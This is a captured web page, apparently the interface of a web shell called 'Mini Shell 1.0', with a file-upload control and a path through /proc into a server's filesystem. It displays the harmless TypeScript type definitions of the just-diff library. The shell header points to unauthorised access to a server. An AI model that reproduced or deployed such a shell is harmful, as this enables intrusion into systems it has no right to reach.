HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1991109/root/usr/share/node_modules/libnpmhook/node_modules/just-diff/
Upload File :
Current File : //proc/1991109/root/usr/share/node_modules/libnpmhook/node_modules/just-diff/index.d.ts
// Definitions by: Cameron Hunter <https://github.com/cameronhunter> 
// Modified by: Angus Croll <https://github.com/angus-c>
type Operation = "add" | "replace" | "remove";

type JSONPatchPathConverter<OUTPUT> = (
  arrayPath: Array<string | number>
) => OUTPUT;

export function diff(
  a: object | Array<any>,
  b: object | Array<any>,
): Array<{ op: Operation; path: Array<string | number>; value: any }>;

export function diff<PATH>(
  a: object | Array<any>,
  b: object | Array<any>,
  jsonPatchPathConverter: JSONPatchPathConverter<PATH>
): Array<{ op: Operation; path: PATH; value: any }>;

export const jsonPatchPathConverter: JSONPatchPathConverter<string>;